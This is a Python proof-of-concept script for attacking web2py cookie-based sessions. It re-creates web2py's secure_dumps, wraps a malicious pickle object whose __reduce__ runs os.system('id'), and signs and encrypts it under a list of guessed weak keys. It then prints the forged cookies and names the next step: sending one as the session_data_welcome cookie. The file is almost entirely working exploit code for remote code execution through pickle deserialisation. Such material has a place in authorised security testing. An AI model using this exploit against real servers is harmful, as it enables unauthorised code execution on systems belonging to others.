#!/usr/bin/env python3
"""
Test if we can exploit cookie-based sessions with secure_loads/secure_dumps

If cookie_key is weak or predictable, we could craft malicious pickle payloads.
"""

import pickle
import base64
import hashlib
import hmac
import zlib
import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

def pad(s):
    """Pad to AES block size"""
    BS = 16
    return s + (BS - len(s) % BS) * bytes([BS - len(s) % BS])

def unpad(s):
    """Unpad AES"""
    return s[:-s[-1]]

def AES_new(key, IV=None):
    """Make AES cipher"""
    if IV is None:
        IV = os.urandom(16)
    cipher = Cipher(algorithms.AES(key), modes.CBC(IV), backend=default_backend())
    return cipher.encryptor(), IV

def AES_enc(cipher, data):
    """Encrypt with AES"""
    return cipher.update(data) + cipher.finalize()

def AES_dec(cipher, data):
    """Decrypt with AES"""
    return cipher.update(data) + cipher.finalize()

def secure_dumps(data, encryption_key, hash_key=None, compression_level=None):
    """Mimics web2py's secure_dumps"""
    if isinstance(encryption_key, str):
        encryption_key = encryption_key.encode('utf8')
    if not hash_key:
        hash_key = hashlib.sha256(encryption_key).digest()
    elif isinstance(hash_key, str):
        hash_key = hash_key.encode('utf8')
    
    dump = pickle.dumps(data, pickle.HIGHEST_PROTOCOL)
    if compression_level:
        dump = zlib.compress(dump, compression_level)
    
    cipher, IV = AES_new(pad(encryption_key)[:32])
    encrypted_data = base64.urlsafe_b64encode(IV + AES_enc(cipher, pad(dump)))
    signature = hmac.new(hash_key, encrypted_data, hashlib.sha256).hexdigest().encode('utf8')
    
    return signature + b':' + encrypted_data

# Test with some common/weak keys
test_keys = [
    'web2py',
    'changeme',
    'password',
    'secret',
    'sha256:secret',
    '',
]

print("Testing cookie-based session exploitation")
print("=" * 60)

# Create a malicious pickle payload that executes code
class RCE:
    def __reduce__(self):
        import os
        return (os.system, ('id',))

malicious_data = {'user': 'admin', 'exploit': RCE()}

for key in test_keys:
    print(f"\nTrying key: {repr(key)}")
    try:
        payload = secure_dumps(malicious_data, key)
        print(f"  Payload: {payload[:80]}...")
        print(f"  Length: {len(payload)} bytes")
        
        # In a real attack, this would be sent as session cookie
        # Cookie: session_data_welcome=<payload>
        
    except Exception as e:
        print(f"  Error: {e}")

print("\n" + "=" * 60)
print("Next step: Send payload as cookie to test if app has weak key")
print("Cookie name might be: session_data_welcome")